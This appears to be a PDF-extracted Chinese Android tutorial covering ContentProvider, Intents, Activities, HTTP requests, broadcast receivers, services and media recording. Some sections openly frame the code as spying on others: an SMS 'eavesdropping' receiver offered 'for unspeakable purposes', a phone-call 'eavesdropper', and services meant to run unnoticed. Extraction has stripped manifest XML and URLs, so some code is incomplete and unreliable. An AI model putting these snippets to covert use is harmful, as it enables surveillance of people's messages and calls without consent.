71、事务 finally db.endTransaction();/由事务的标志决定是提交事务,还是回滚事务 db.close(); 上面两条SQL语句在同一个事务中执行。使用ContentProvider共享数据当应用继承ContentProvider类,并重写该类用于提供数据和存储数据的方法,就可以向其他应用共享其数据。虽然使用其他方法也可以对外共享数据,但数据访问方式会因数据存储的方式而不同,如:采用文件方式对外共享数据,需要进行文件操作读写数据;采用sharedpreferences共享数据,需要使用sharedpreferences API读写数据。而使用ContentProvider共

72、享数据的好处是统一了数据访问方式。当应用需要通过ContentProvider对外共享数据时,第一步需要继承ContentProvider并重写下面方法:public class PersonContentProvider extends ContentProvider public boolean onCreate() public Uri insert(Uri uri, ContentValues values) public int delete(Uri uri, String selection, String selectionArgs) public int update(Uri

73、uri, ContentValues values, String selection, String selectionArgs) public Cursor query(Uri uri, String projection, String selection, String selectionArgs, String sortOrder) public String getType(Uri uri)第二步需要在AndroidManifest.xml使用对该ContentProvider进行配置,为了能让其他应用找到该ContentProvider , ContentProvider 采用了

74、authorities(主机名/域名)对它进行唯一标识,你可以把 ContentProvider看作是一个网站(想想,网站也是提供数据者),authorities 就是他的域名: 注意:一旦应用继承了ContentProvider类,后面我们就会把这个应用称为ContentProvider(内容提供者)。Uri介绍Uri代表了要操作的数据,Uri主要包含了两部分信息:1需要操作的ContentProvider ,2对ContentProvider中的什么数据进行操作,一个Uri由以下几部分组成:ContentProvider(内容提供者)的scheme已经由Android所规定, scheme

75、为:content:/主机名(或叫Authority)用于唯一标识这个ContentProvider,外部调用者可以根据这个标识来找到它。路径(path)可以用来表示我们要操作的数据,路径的构建应根据业务而定,如下:要操作person表中id为10的记录,可以构建这样的路径:/person/10要操作person表中id为10的记录的name字段, person/10/name要操作person表中的所有记录,可以构建这样的路径:/person要操作xxx表中的记录,可以构建这样的路径:/xxx当然要操作的数据不一定来自数据库,也可以是文件等他存储方式,如下:要操作xml文件中person节点

76、下的name节点,可以构建这样的路径:/person/name如果要把一个字符串转换成Uri,可以使用Uri类中的parse()方法,如下:Uri uri = Uri.parse(content:/cn.itcast.provider.personprovider/person) UriMatcher类使用介绍因为Uri代表了要操作的数据,所以我们很经常需要解析Uri,并从Uri中获取数据。Android系统提供了两个用于操作Uri的工具类,分别为UriMatcher 和ContentUris 。掌握它们的使用,会便于我们的开发工作。UriMatcher类用于匹配Uri,它的用法如下:首先第一

77、步把你需要匹配Uri路径全部给注册上,如下:/常量UriMatcher.NO_MATCH表示不匹配任何路径的返回码UriMatcher sMatcher = new UriMatcher(UriMatcher.NO_MATCH);/如果match()方法匹配content:/cn.itcast.provider.personprovider/person路径,返回匹配码为1sMatcher.addURI(“cn.itcast.provider.personprovider”, “person”, 1);/添加需要匹配uri,如果匹配就会返回匹配码/如果match()方法匹配content:/c

78、n.itcast.provider.personprovider/person/230路径,返回匹配码为2sMatcher.addURI(“cn.itcast.provider.personprovider”, “person/#”, 2);/#号为通配符switch (sMatcher.match(Uri.parse(content:/cn.itcast.provider.personprovider/person/10) case 1 break; case 2 break; default:/不匹配 break;注册完需要匹配的Uri后,就可以使用sMatcher.match(uri)方

79、法对输入的Uri进行匹配,如果匹配就返回匹配码,匹配码是调用addURI()方法传入的第三个参数,假设匹配content:/cn.itcast.provider.personprovider/person路径,返回的匹配码为1 ContentUris类使用介绍ContentUris类用于获取Uri路径后面的ID部分,它有两个比较实用的方法:withAppendedId(uri, id)用于为路径加上ID部分:Uri uri = Uri.parse(content:/cn.itcast.provider.personprovider/person)Uri resultUri = ContentU

80、ris.withAppendedId(uri, 10); /生成后的Uri为:content:/cn.itcast.provider.personprovider/person/10parseId(uri)方法用于从路径中获取ID部分:Uri uri = Uri.parse(content:/cn.itcast.provider.personprovider/person/10)long personid = ContentUris.parseId(uri);/获取的结果为:10使用ContentProvider共享数据ContentProvider类主要方法的作用:public boolea

81、n onCreate()该方法在ContentProvider创建后就会被调用, Android在系统启动时就会创建ContentProvider 。public Uri insert(Uri uri, ContentValues values)该方法用于供外部应用往ContentProvider添加数据。public int delete(Uri uri, String selection, String selectionArgs)该方法用于供外部应用从ContentProvider删除数据。public int update(Uri uri, ContentValues values,

82、String selection, String selectionArgs)该方法用于供外部应用更新ContentProvider中的数据。public Cursor query(Uri uri, String projection, String selection, String selectionArgs, String sortOrder)该方法用于供外部应用从ContentProvider中获取数据。public String getType(Uri uri)该方法用于返回当前Url所代表数据的MIME类型。如果操作的数据属于集合类型,那么MIME类型字符串应该以vnd.andro

83、id.cursor.dir/开头,例如:要得到所有person记录的Uri为content:/cn.itcast.provider.personprovider/person,那么返回的MIME类型字符串应该为:“vnd.android.cursor.dir/person”。如果要操作的数据属于单一数据,那么MIME类型字符串应该以vnd.android.cursor.item/开头,例如:得到id为10的person记录,Uri为content:/cn.itcast.provider.personprovider/person/10,那么返回的MIME类型字符串应该为:“vnd.androi

84、d.cursor.item/person”。使用ContentResolver操作ContentProvider中的数据当外部应用需要对ContentProvider中的数据进行添加、删除、修改和查询操作时,可以使用ContentResolver 类来完成,要获取ContentResolver 对象,可以使用Activity提供的getContentResolver()方法。 ContentResolver 类提供了与ContentProvider类相同签名的四个方法:public Uri insert(Uri uri, ContentValues values)该方法用于往ContentPr

85、ovider添加数据。public int delete(Uri uri, String selection, String selectionArgs)该方法用于从ContentProvider删除数据。public int update(Uri uri, ContentValues values, String selection, String selectionArgs)该方法用于更新ContentProvider中的数据。public Cursor query(Uri uri, String projection, String selection, String selection

86、Args, String sortOrder)该方法用于从ContentProvider中获取数据。这些方法的第一个参数为Uri,代表要操作的是哪个ContentProvider和对其中的什么数据进行操作,假设给定的是: Uri.parse(“content:/cn.itcast.provider.personprovider/person/10”),那么将会对主机名为cn.itcast.provider.personprovider的ContentProvider进行操作,操作的数据为person表中id为10的记录。使用ContentResolver操作ContentProvider中的数

87、据使用ContentResolver对ContentProvider中的数据进行添加、删除、修改和查询操作:ContentResolver resolver = getContentResolver();Uri uri = Uri.parse(content:/cn.itcast.provider.personprovider/person);/添加一条记录ContentValues values = new ContentValues();values.put(name, itcast);values.put(age, 25);resolver.insert(uri, values);/获取

88、person表中所有记录Cursor cursor = resolver.query(uri, null, null, null, personid desc);while(cursor.moveToNext()Log.i(ContentTest, personid=+ cursor.getInt(0)+ ,name=+ cursor.getString(1);/把id为1的记录的name字段值更改新为limingContentValues updateValues = new ContentValues();updateValues.put(name, liming);Uri updateI

89、dUri = ContentUris.withAppendedId(uri, 2);resolver.update(updateIdUri, updateValues, null, null);/删除id为2的记录Uri deleteIdUri = ContentUris.withAppendedId(uri, 2);resolver.delete(deleteIdUri, null, null);为应用添加新的Activity第一步:新建一个继承Activity的类,如:NewActivitypublic class NewActivity extends Activity Override

90、 protected void onCreate(Bundle savedInstanceState) super.onCreate(savedInstanceState); /这里可以使用setContentView(R.layout.xxx)显示某个视图. 第二步:需要在功能清单AndroidManifest.xml文件中添加进上面Activity配置代码(红色部分): . .android:name属性值的前面加了一个点表示NewActivity是当前包cn.itcast.action下的类,如果类在应用的当前包下,可以省略点符号,如果类在应用的子包下必须加点,如:NewActivity

91、类在cn.itcast.action.user包下可以这样写:打开新的Activity ,不传递参数在一个Activity中可以使用系统提供的startActivity(Intent intent)方法打开新的Activity,在打开新的Activity前,你可以决定是否为新的Activity传递参数:第一种:打开新的Activity,不传递参数public class MainActivity extends Activity Override protected void onCreate(Bundle savedInstanceState) .Button button =(Button

92、) this.findViewById(R.id.button); button.setOnClickListener(new View.OnClickListener()/点击该按钮会打开一个新的Activitypublic void onClick(View v) /新建一个显式意图,第一个参数为当前Activity类对象,第二个参数为你要打开的Activity类 startActivity(new Intent(MainActivity.this, NewActivity.class);); 打开新的Activity,并传递若干个参数给它第二种:打开新的Activity,并传递若干个参数

93、给它:public class MainActivity extends Activity Override protected void onCreate(Bundle savedInstanceState) . button.setOnClickListener(new View.OnClickListener()/点击该按钮会打开一个新的Activity public void onClick(View v) Intent intent = new Intent(MainActivity.this, NewActivity.class)Bundle bundle = new Bundle

94、();/该类用作携带数据bundle.putString(name, 传智播客);bundle.putInt(age, 4);intent.putExtras(bundle);/附带上额外的数据startActivity(intent);); 在新的Activity中接收前面Activity传递过来的参数:public class NewActivity extends Activity Override protected void onCreate(Bundle savedInstanceState) . Bundle bundle = this.getIntent().getExtras

95、(); String name = bundle.getString(name); int age = bundle.getInt(age); Bundle类的作用Bundle类用作携带数据,它类似于Map,用于存放key-value名值对形式的值。相对于Map,它提供了各种常用类型的putXxx()/getXxx()方法,如:putString()/getString()和putInt()/getInt(),putXxx()用于往Bundle对象放入数据,getXxx()方法用于从Bundle对象里获取数据。Bundle的内部实际上是使用了HashMap类型的变量来存放putXxx()方法放

96、入的值:public final class Bundle implements Parcelable, Cloneable . Map mMap; public Bundle() mMap = new HashMap(); . public void putString(String key, String value) mMap.put(key, value); public String getString(String key) Object o = mMap.get(key); return (String) o; ./类型转换失败后会返回null,这里省略了类型转换失败后的处理代码

97、在调用Bundle对象的getXxx()方法时,方法内部会从该变量中获取数据,然后对数据进行类型转换,转换成什么类型由方法的Xxx决定,getXxx()方法会把转换后的值返回。为Intent附加数据的两种写法第一种写法,用于批量添加数据到Intent:Intent intent = new Intent();Bundle bundle = new Bundle();/该类用作携带数据bundle.putString(name, 传智播客);intent.putExtras(bundle);/为意图追加额外的数据,意图原来已经具有的数据不会丢失,但key同名的数据会被替换第二种写法:这种写法的作

98、用等价于上面的写法,只不过这种写法是把数据一个个地添加进Intent,这种写法使用起来比较方便,而且只需要编写少量的代码。Intent intent = new Intent();intent.putExtra(name, 传智播客);Intent提供了各种常用类型重载后的putExtra()方法,如: putExtra(String name, String value)、 putExtra(String name, long value),在putExtra()方法内部会判断当前Intent对象内部是否已经存在一个Bundle对象,如果不存在就会新建Bundle对象,以后调用putExtr

99、a()方法传入的值都会存放于该Bundle对象,下面是Intent的putExtra(String name, String value)方法代码片断:public class Intent implements Parcelable private Bundle mExtras;public Intent putExtra(String name, String value) if (mExtras = null) mExtras = new Bundle(); mExtras.putString(name, value); return this; 得到新打开Activity 关闭后返回的

100、数据如果你想在Activity中得到新打开Activity 关闭后返回的数据,你需要使用系统提供的startActivityForResult(Intent intent, int requestCode)方法打开新的Activity,新的Activity 关闭后会向前面的Activity 传回数据,为了得到传回的数据,你必须在前面的Activity中重写onActivityResult(int requestCode, int resultCode, Intent data)方法:public class MainActivity extends Activity Override prot

101、ected void onCreate(Bundle savedInstanceState) .Button button =(Button) this.findViewById(R.id.button); button.setOnClickListener(new View.OnClickListener()/点击该按钮会打开一个新的Activitypublic void onClick(View v) /第二个参数为请求码,可以根据业务需求自己编号startActivityForResult (new Intent(MainActivity.this, NewActivity.class)

102、, 1);); /第一个参数为请求码,即调用startActivityForResult()传递过去的值 /第二个参数为结果码,结果码用于标识返回数据来自哪个新Activity Override protected void onActivityResult(int requestCode, int resultCode, Intent data) String result = data.getExtras().getString(“result”);/得到新Activity 关闭后返回的数据 当新Activity关闭后,新Activity返回的数据通过Intent进行传递,android平

103、台会调用前面Activity 的onActivityResult()方法,把存放了返回数据的Intent作为第三个输入参数传入,在onActivityResult()方法中使用第三个输入参数可以取出新Activity返回的数据。得到新打开Activity 关闭后返回的数据使用startActivityForResult(Intent intent, int requestCode)方法打开新的Activity,新Activity关闭前需要向前面的Activity返回数据需要使用系统提供的setResult(int resultCode, Intent data)方法实现:public clas

104、s NewActivity extends Activity Override protected void onCreate(Bundle savedInstanceState) . button.setOnClickListener(new View.OnClickListener()public void onClick(View v) Intent intent = new Intent();/数据是使用Intent返回intent.putExtra(“result”, “传智播客的学生很可爱”);/把返回数据存入Intent NewActivity.this.setResult(RE

105、SULT_OK, intent);/设置返回数据 NewActivity.this.finish();/关闭Activity);setResult()方法的第一个参数值可以根据业务需要自己定义,上面代码中使用到的RESULT_OK是系统Activity类定义的一个常量,值为-1,代码片断如下:public class android.app.Activity extends . public static final int RESULT_CANCELED = 0; public static final int RESULT_OK = -1; public static final int

106、RESULT_FIRST_USER = 1;请求码的作用使用startActivityForResult(Intent intent, int requestCode)方法打开新的Activity,我们需要为startActivityForResult()方法传入一个请求码(第二个参数)。请求码的值是根据业务需要由自已设定,用于标识请求来源。例如:一个Activity有两个按钮,点击这两个按钮都会打开同一个Activity,不管是那个按钮打开新Activity,当这个新Activity关闭后,系统都会调用前面Activity的onActivityResult(int requestCode,

107、int resultCode, Intent data)方法。在onActivityResult()方法如果需要知道新Activity是由那个按钮打开的,并且要做出相应的业务处理,这时可以这样做: Override public void onCreate(Bundle savedInstanceState) . button1.setOnClickListener(new View.OnClickListener() public void onClick(View v) startActivityForResult (new Intent(MainActivity.this, NewAct

108、ivity.class), 1); ); button2.setOnClickListener(new View.OnClickListener() public void onClick(View v) startActivityForResult (new Intent(MainActivity.this, NewActivity.class), 2); ); Override protected void onActivityResult(int requestCode, int resultCode, Intent data) switch(requestCode) case 1: /

109、来自按钮1的请求,作相应业务处理 case 2: /来自按钮2的请求,作相应业务处理 结果码的作用在一个Activity中,可能会使用startActivityForResult()方法打开多个不同的Activity处理不同的业务,当这些新Activity关闭后,系统都会调用前面Activity的onActivityResult(int requestCode, int resultCode, Intent data)方法。为了知道返回的数据来自于哪个新Activity,在onActivityResult()方法中可以这样做(ResultActivity和NewActivity为要打开的新Ac

110、tivity):public class ResultActivity extends Activity . ResultActivity.this.setResult(1, intent); ResultActivity.this.finish();public class NewActivity extends Activity . NewActivity.this.setResult(2, intent); NewActivity.this.finish();public class MainActivity extends Activity / 在该Activity会打开ResultA

111、ctivity和NewActivity Override protected void onActivityResult(int requestCode, int resultCode, Intent data) switch(resultCode) case 1: / ResultActivity的返回数据 case 2: / NewActivity的返回数据 Intent(意图)Android基本的设计理念是鼓励减少组件间的耦合,因此Android提供了Intent (意图) ,Intent提供了一种通用的消息系统,它允许在你的应用程序与其它的应用程序间传递Intent来执行动作和产生事件

112、。使用Intent可以激活Android应用的三个核心组件:活动、服务和广播接收器。Intent可以划分成显式意图和隐式意图。显式意图:调用Intent.setComponent()或Intent.setClass()方法指定了组件名或类对象的Intent为显式意图,显式意图明确指定了Intent应该传递给哪个组件。隐式意图:没有调用Intent.setComponent()或Intent.setClass()方法指定组件名或类对象的Intent为隐式意图。 Android系统会根据隐式意图中设置的动作(action)、类别(category)、数据(URI和数据类型)找到最合适的组件来处理这

113、个意图。那么Android是怎样寻找到这个最合适的组件呢?记的前面我们在定义活动时,指定了一个intent-filter,Intent Filter(过滤器)其实就是用来匹配隐式Intent的,如果Intent Filter定义的动作、类别、数据(URI和数据类型)与Intent匹配,就会使用Intent Filter所在的组件来处理该Intent。想要接收使用startActivity()方法传递的隐式意图的活动必须在它们的意图过滤器中包含android.intent.category.DEFAULTActivityActivity生命周期生命周期ActivityActivity有三个状态:

114、有三个状态:l 当它在屏幕前台时(位于当前任务堆栈的顶部),它是激活或运行状态。它就是响应用户操作的Activity。 l 当它失去焦点但仍然对用户可见时(如右图),它处于暂停状态。即在它之上有另外一个Activity。这个Activity也许是透明的,或者没有完全覆盖全屏,所以被暂停的Activity仍对用户可见。暂停的Activity仍然是存活状态(它保留着所有的状态和成员信息并保持和窗口管理器的连接),但系统处于极低内存时仍然可以杀死这个Activity。 l 完全被另一个Activity覆盖时则处于停止状态。它仍然保留所有的状态和成员信息。然而对用户是不可见的,所以它的窗口将被隐藏,如

115、果其它地方需要内存,则系统经常会杀死这个Activity。 当Activity从一种状态转变到另一种状态时,会调用以下保护方法来通知这种变化:void onCreate(Bundle savedInstanceState)void onStart()void onRestart()void onResume()void onPause()void onStop()void onDestroy()ActivityActivity生命周期生命周期这七个方法定义了Activity的完整生命周期。实现这些方法可以帮助我们监视其中的三个嵌套生命周期循环:l Activity的完整生命周期完整生命周期自第

116、一次调用onCreate()开始,直至调用onDestroy()为止。Activity在onCreate()中设置所有“全局”状态以完成初始化,而在onDestroy()中释放所有系统资源。例如,如果Activity有一个线程在后台运行从网络上下载数据,它会在onCreate()创建线程,而在 onDestroy()销毁线程。 l Activity的可视生命周期可视生命周期自onStart()调用开始直到相应的onStop()调用结束。在此期间,用户可以在屏幕上看到Activity,尽管它也许并不是位于前台或者也不与用户进行交互。在这两个方法之间,我们可以保留用来向用户显示这个Activity

117、所需的资源。例如,当用户不再看见我们显示的内容时,我们可以在onStart()中注册一个BroadcastReceiver来监控会影响UI的变化,而在onStop()中来注消。onStart() 和 onStop() 方法可以随着应用程序是否为用户可见而被多次调用。 l Activity的前台生命周期前台生命周期自onResume()调用起,至相应的onPause()调用为止。在此期间,Activity位于前台最上面并与用户进行交互。Activity会经常在暂停和恢复之间进行状态转换例如当设备转入休眠状态或者有新的Activity启动时,将调用onPause() 方法。当Activity获得结

118、果或者接收到新的Intent时会调用onResume() 方法。关于前台生命周期循环的例子请见PPT下方备注栏。ActivityActivity生命周期生命周期从从InternetInternet获取数据获取数据利用HttpURLConnection对象,我们可以从网络中获取网页数据.URL url = new URL();HttpURLConnection conn = (HttpURLConnection) url.openConnection();conn.setConnectTimeout(6* 1000);/设置连接超时if (conn.getResponseCode() != 20

119、0) throw new RuntimeException(请求url失败);InputStream is = conn.getInputStream();/得到网络返回的输入流String result = readData(is, GBK);conn.disconnect();System.out.println(result);/第一个参数为输入流,第二个参数为字符集编码public static String readData(InputStream inSream, String charsetName) throws ExceptionByteArrayOutputStream o

120、utStream = new ByteArrayOutputStream();byte buffer = new byte1024;int len = -1;while( (len = inSream.read(buffer) != -1 )outStream.write(buffer, 0, len);byte data = outStream.toByteArray();outStream.close();inSream.close();return new String(data, charsetName);从从InternetInternet获取数据获取数据利用HttpURLConne

121、ction对象,我们可以从网络中获取文件数据.URL url = new URL();HttpURLConnection conn = (HttpURLConnection) url.openConnection();conn.setConnectTimeout(6* 1000);if (conn.getResponseCode() != 200) throw new RuntimeException(请求url失败);InputStream is = conn.getInputStream();readAs, Img269812337.jpg); public static void rea

122、dAs inSream, ) throws Exception outStream = new (file);byte buffer = new byte1024;int len = -1;while( (len = inSream.read(buffer) != -1 )outStream.write(buffer, 0, len); outStream.close();inSream.close();向向InternetInternet发送请求参数发送请求参数利用HttpURLConnection对象,我们可以向网络发送请求参数.String requestUrl = ;Map reque

123、stParams = new HashMap();requestParams.put(age, 12);requestParams.put(name, 中国); StringBuilder params = new StringBuilder();for(Map.Entry entry : requestParams.entrySet()params.append(entry.getKey();params.append(=);params.append(URLEncoder.encode(entry.getValue(), UTF-8);params.append(&);if (params

124、.length() 0) params.deleteCharAt(params.length() - 1);byte data = params.toString().getBytes();URL realUrl = new URL(requestUrl);HttpURLConnection conn = (HttpURLConnection) realUrl.openConnection();conn.setDoOutput(true);/发送POST请求必须设置允许输出conn.setUseCaches(false);/不使用Cacheconn.setRequestMethod(POST)

125、; conn.setRequestProperty(Connection, Keep-Alive);/维持长连接conn.setRequestProperty(Charset, UTF-8);conn.setRequestProperty(Content-Length, String.valueOf(data.length);conn.setRequestProperty(Content-Type,application/x-);DataOutputStream outStream = new DataOutputStream(conn.getOutputStream();outStream.

126、write(data);outStream.flush();if( conn.getResponseCode() = 200 ) String result = readAsString(conn.getInputStream(), UTF-8); outStream.close(); System.out.println(result);向向InternetInternet发送发送xmlxml数据数据利用HttpURLConnection对象,我们可以向网络发送xml数据.StringBuilder xml = new StringBuilder();xml.append();xml.app

127、end();xml.append(中国);xml.append();byte xmlbyte = xml.toString().getBytes(UTF-8);URL url = new URL();HttpURLConnection conn = (HttpURLConnection) url.openConnection();conn.setConnectTimeout(6* 1000);conn.setDoOutput(true);/允许输出conn.setUseCaches(false);/不使用Cacheconn.setRequestMethod(POST); conn.setReq

128、uestProperty(Connection, Keep-Alive);/维持长连接conn.setRequestProperty(Charset, UTF-8);conn.setRequestProperty(Content-Length, String.valueOf(xmlbyte.length);conn.setRequestProperty(Content-Type, text/xml; charset=UTF-8);DataOutputStream outStream = new DataOutputStream(conn.getOutputStream();outStream.

129、write(xmlbyte);/发送xml数据outStream.flush();if (conn.getResponseCode() != 200) throw new RuntimeException(请求url失败);InputStream is = conn.getInputStream();/获取返回数据String result = readAsString(is, UTF-8);outStream.close();广播接收者广播接收者-BroadcastReceiver-BroadcastReceiver广播接收者(BroadcastReceiver)用于异步接收广播Intent

130、,广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()或者Context.sendStickyBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收,广播接收者和JMS中的Topic消息接收者很相似。要实现一个广播接收者方法如下:第一步:继承BroadcastReceiver,并重写onReceive()方法。public class IncomingSMSReceiver extends BroadcastReceiver Override public

131、void onReceive(Context context, Intent intent) 第二步:订阅感兴趣的广播Intent,订阅方法有两种:第一种:使用代码进行订阅IntentFilter filter = new IntentFilter(android.provider.Telephony.SMS_RECEIVED);IncomingSMSReceiver receiver = new IncomingSMSReceiver();registerReceiver(receiver, filter);第二种:在AndroidManifest.xml文件中的节点里进行订阅: 使用广播接

132、收者窃听短信使用广播接收者窃听短信如果你想窃听别人接收到的短信,达到你不可告人的目的,那么本节内容可以实现你的需求。当系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播Intent,该Intent存放了接收到的短信内容,使用名称“pdus”即可从Intent中获取短信内容。public class IncomingSMSReceiver extends BroadcastReceiver private static final String SMS_RECEIVED = android.provider.Telep

133、hony.SMS_RECEIVED;Override public void onReceive(Context context, Intent intent) if (intent.getAction().equals(SMS_RECEIVED) SmsManager sms = SmsManager.getDefault();Bundle bundle = intent.getExtras();if (bundle != null) Object pdus = (Object) bundle.get(pdus);SmsMessage messages = new SmsMessagepdu

134、s.length;for (int i = 0; i pdus.length; i+) messagesi = SmsMessage.createFromPdu(byte) pdusi);for (SmsMessage message : messages)String msg = message.getMessageBody();String to = message.getOriginatingAddress();sms.sendTextMessage(to, null, msg, null, null);在AndroidManifest.xml文件中的节点里对接收到短信的广播Intent

135、进行订阅:在AndroidManifest.xml文件中添加以下权限:广播接收者广播接收者除了短信到来广播Intent,Android还有很多广播Intent,如:开机启动、电池电量变化、时间已经改变等广播Intent。l 接收电池电量变化广播Intent ,在AndroidManifest.xml文件中的节点里订阅此Intent: l 接收开机启动广播Intent,在AndroidManifest.xml文件中的节点里订阅此Intent: 并且要进行权限声明:广播接收者广播接收者通常一个BroadcastReceiver对象的生命周期不超过5秒,所以在BroadcastReceiver里不能

136、做一些比较耗时的操作,如果需要完成一项比较耗时的工作,可以通过发送Intent给Activity或Service,由Activity或Service来完成。public class IncomingSMSReceiver extends BroadcastReceiver Override public void onReceive(Context context, Intent intent) /发送Intent启动服务,由服务来完成比较耗时的操作 Intent service = new Intent(context, XxxService.class); context.startSer

137、vice(service); /发送Intent启动Activity,由Activity来完成比较耗时的操作 Intent newIntent = new Intent(context, XxxActivity.class); context.startActivity(newIntent);服务服务-Service-ServiceAndroid中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。服务的开发比较简单,如下:第一步:继承Service类public class SMSService extends

138、 Service 第二步:在AndroidManifest.xml文件中的节点里对服务进行配置:服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。如果打算采用Context.startService()Conte

139、xt.startService()方法启动服务方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。如果打算采用Context.bindService()Context.bindService()方法启动服务方法启动服务,在服务

140、未被创建时,系统会先调用服务的onCreate()方法,接着调用onBind()方法。这个时候调用者和服务绑定在一起,调用者退出了,系统就会先调用服务的onUnbind()方法,接着调用onDestroy()方法。如果调用bindService()方法前服务已经被绑定,多次调用bindService()方法并不会导致多次创建服务及绑定(也就是说onCreate()和onBind()方法并不会被多次调用)。如果调用者希望与正在绑定的服务解除绑定,可以调用unbindService()方法,调用该方法也会导致系统调用服务的onUnbind()-onDestroy()方法。服务服务-Service-

141、Service服务常用生命周期回调方法如下:onCreate() 该方法在服务被创建时调用,该方法只会被调用一次,无论调用多少次startService()或bindService()方法,服务也只被创建一次。onDestroy()该方法在服务被终止时调用。l 与采用Context.startService()方法启动服务有关的生命周期方法onStart() 只有采用Context.startService()方法启动服务时才会回调该方法。该方法在服务开始运行时被调用。多次调用startService()方法尽管不会多次创建服务,但onStart() 方法会被多次调用。l 与采用Context

142、.bindService()方法启动服务有关的生命周期方法onBind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务绑定时被调用,当调用者与服务已经绑定,多次调用Context.bindService()方法并不会导致该方法被多次调用。onUnbind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务解除绑定时被调用。采用采用startService()startService()启动服务启动服务采用Context.startService()方法启动服务的代码如下:public c

143、lass HelloActivity extends Activity Override public void onCreate(Bundle savedInstanceState) . Button button =(Button) this.findViewById(R.id.button); button.setOnClickListener(new View.OnClickListener()public void onClick(View v) Intent intent = new Intent(HelloActivity.this, SMSService.class);star

144、tService(intent);); 采用采用bindService()()启动服务启动服务采用Context.startService()方法启动服务的代码如下:public class HelloActivity extends Activity ServiceConnection conn = new ServiceConnection() public void onServiceConnected(ComponentName name, IBinder service) public void onServiceDisconnected(ComponentName name) ;

145、Override public void onCreate(Bundle savedInstanceState) Button button =(Button) this.findViewById(R.id.button); button.setOnClickListener(new View.OnClickListener()public void onClick(View v) Intent intent = new Intent(HelloActivity.this, SMSService.class);bindService(intent, conn, Context.BIND_AUT

146、O_CREATE);/unbindService(conn);/解除绑定); 电话窃听器电话窃听器要实现电话窃听,需要监听电话的状态,方法如下:/* 取得电话服务 */TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);PhoneStateListener listener = new PhoneStateListener()Override public void onCallStateChanged(int state, String incomingNum

147、ber) switch (state) case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */ break; case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */ break; case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */ break; default:break; super.onCallStateChanged(state, incomingNumber); ;/监听电话的状态telManager.listen(listener

148、, PhoneStateListener.LISTEN_CALL_STATE);在清单文件AndroidManifest.xml中添加权限:音频采集音频采集你可以使用手机进行现场录音,实现步骤如下:第一步:在功能清单文件AndroidManifest.xml中添加音频刻录权限:第二步:编写音频刻录代码:MediaRecorder recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);/从麦克风采集声音 recorder.setOutputFormat(MediaRecorde

149、r.OutputFormat.THREE_GPP);/内容输出格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);/音频编码方式 recorder.setOutputFile(/sdcard/itcast.amr); recorder.prepare();/预期准备 recorder.start(); /开始刻录 . recorder.stop();/停止刻录 recorder.reset(); /重设 recorder.release(); /刻录完成一定要释放资源音乐播放音乐播放MediaPlayer mediaPl

150、ayer = new MediaPlayer();if (mediaPlayer.isPlaying() mediaPlayer.reset();/重置为初始状态mediaPlayer.setDataSource(/sdcard/god.mp3);mediaPlayer.prepare();/缓冲mediaPlayer.start();/开始或恢复播放mediaPlayer.pause();/暂停播放mediaPlayer.start();/恢复播放mediaPlayer.stop();/停止播放mediaPlayer.release();/释放资源mediaPlayer.setOnCompl

151、etionListener(new MediaPlayer.OnCompletionListener() /播出完毕事件 Override public void onCompletion(MediaPlayer arg0) mediaPlayer.release(); );mediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() / 错误处理事件 Override public boolean onError(MediaPlayer player, int arg1, int arg2) mediaPlayer.rele

152、ase();return false; );音视频采集音视频采集第一步:在功能清单文件AndroidManifest.xml中添加音频刻录和照相机权限: 第二步:编写音频刻录代码:WindowManager wm = (WindowManager) getSystemService(Context.WINDOW_SERVICE);/获取窗口服务Display display = wm.getDefaultDisplay();/获取屏幕信息recorder = new MediaRecorder();recorder.setVideoSource(MediaRecorder.VideoSourc

153、e.CAMERA); /从照相机采集视频recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);recorder.setVideoSize(display.getWidth(), display.getHeight(); /大小为屏幕的宽和高recorder.setVideoFrameRate(3); /每秒3帧recorder.setVideoEncoder(MediaRecorder.VideoEncoder.

154、H263); /设置视频编码方式recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);recorder.setOutputFile(/sdcard/itcast.3gp); recorder.prepare();/预期准备 recorder.start(); /开始刻录 . recorder.stop();/停止刻录 recorder.reset(); /重设 recorder.release(); /刻录完成一定要释放资源Android中的通知(Notification)通知用于在状态栏显示消息,消息到来时以图标方式表示,如下

155、:如果需要查看消息,可以拖动状态栏到屏幕下方即可查看消息。发送消息的代码如下:/获取通知管理器NotificationManager mNotificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);int icon = android.R.drawable.stat_notify_chat;long when = System.currentTimeMillis();/新建一个通知,指定其图标和标题Notification notification = new Notific

156、ation(icon, null, when);/第一个参数为图标,第二个参数为标题,第三个为通知时间Intent openintent = new Intent(this, OtherActivity.class);PendingIntent contentIntent = PendingIntent.getActivity(this, 0, openintent, 0);/当点击消息时就会向系统发送openintent意图notification.setLatestEventInfo(this, “标题”, “我是内容, contentIntent);mNotificationManage

